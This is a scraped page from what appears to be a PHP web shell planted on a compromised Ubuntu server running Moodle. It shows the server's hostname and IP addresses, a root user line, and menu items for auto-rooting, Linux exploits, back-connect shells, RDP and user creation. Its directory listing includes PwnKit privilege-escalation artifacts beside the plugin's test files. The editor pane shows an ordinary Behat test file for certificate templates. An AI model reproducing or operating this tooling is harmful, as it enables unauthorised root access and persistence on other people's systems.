Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
mod /
customcert /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
activity_options.feature
6.86
KB
-rwxrwxrwx
behat_mod_customcert.php
6.78
KB
-rwxrwxrwx
managing_elements.feature
18.07
KB
-rwxrwxrwx
managing_pages.feature
1.89
KB
-rwxrwxrwx
managing_templates.feature
4.64
KB
-rwxrwxrwx
my_certificates.feature
1.71
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
required_minutes.feature
1.82
KB
-rwxrwxrwx
show_position_x_y.feature
2.41
KB
-rwxrwxrwx
verify_certificates.feature
5.15
KB
-rwxrwxrwx
view_issued_certificates.featu...
2.54
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : managing_templates.feature
@mod @mod_customcert Feature: Being able to manage site templates In order to ensure managing site templates works as expected As an admin I need to manage and load site templates Background: Given the following "courses" exist: | fullname | shortname | category | | Course 1 | C1 | 0 | And the following "users" exist: | username | firstname | lastname | email | | teacher1 | Teacher | 1 | teacher1@example.com | And the following "course enrolments" exist: | user | course | role | | teacher1 | C1 | editingteacher | And the following "activities" exist: | activity | name | intro | course | idnumber | | customcert | Custom certificate 1 | Custom certificate 1 intro | C1 | customcert1 | And I log in as "admin" Scenario: Adding a site template and loading it into a course certificate And I navigate to "Plugins" in site administration And I follow "Manage activities" And I click on "Settings" "link" in the "Custom certificate" "table_row" And I follow "Manage templates" And I press "Create template" And I set the field "Name" to "Site template" And I press "Save changes" And I add the element "Border" to page "1" of the "Site template" certificate template And I set the following fields to these values: | Width | 5 | | Colour | #045ECD | And I press "Save changes" And I add the element "Category name" to page "1" of the "Site template" certificate template And I set the following fields to these values: | Font | Helvetica | | Size | 20 | | Colour | #045ECD | | Width | 20 | | Reference point location | Top left | And I press "Save changes" And I am on "Course 1" course homepage And I follow "Custom certificate 1" And I navigate to "Edit certificate" in current page administration And I set the field "ltid" to "Site template" And I click on "Load" "button" in the "#loadtemplateform" "css_element" And I should see "Are you sure you wish to load this template" And I press "Cancel" And "elementstable" "table" should not exist And I set the field "ltid" to "Site template" And I click on "Load" "button" in the "#loadtemplateform" "css_element" And I should see "Are you sure you wish to load this template" And I press "Continue" And I should see "Border" in the "elementstable" "table" And I should see "Category name" in the "elementstable" "table" And I click on ".edit-icon" "css_element" in the "Border" "table_row" And the following fields match these values: | Width | 5 | | Colour | #045ECD | And I press "Save changes" And I click on ".edit-icon" "css_element" in the "Category name" "table_row" And the following fields match these values: | Font | Helvetica | | Size | 20 | | Colour | #045ECD | | Width | 20 | | Reference point location | Top left | Scenario: Deleting a site template And I navigate to "Plugins" in site administration And I follow "Manage activities" And I click on "Settings" "link" in the "Custom certificate" "table_row" And I follow "Manage templates" And I press "Create template" And I set the field "Name" to "Site template" And I press "Save changes" And I follow "Manage templates" And I click on ".delete-icon" "css_element" in the "Site template" "table_row" And I press "Cancel" And I should see "Site template" And I click on ".delete-icon" "css_element" in the "Site template" "table_row" And I press "Continue" And I should not see "Site template" Scenario: Duplicating a site template And I navigate to "Plugins" in site administration And I follow "Manage activities" And I click on "Settings" "link" in the "Custom certificate" "table_row" And I follow "Manage templates" And I press "Create template" And I set the field "Name" to "Site template" And I press "Save changes" And I follow "Manage templates" And I click on ".duplicate-icon" "css_element" in the "Site template" "table_row" And I press "Cancel" And I should see "Site template" And I should not see "Site template (duplicate)" And I click on ".duplicate-icon" "css_element" in the "Site template" "table_row" And I press "Continue" And I should see "Site template" And I should see "Site template (duplicate)"
Close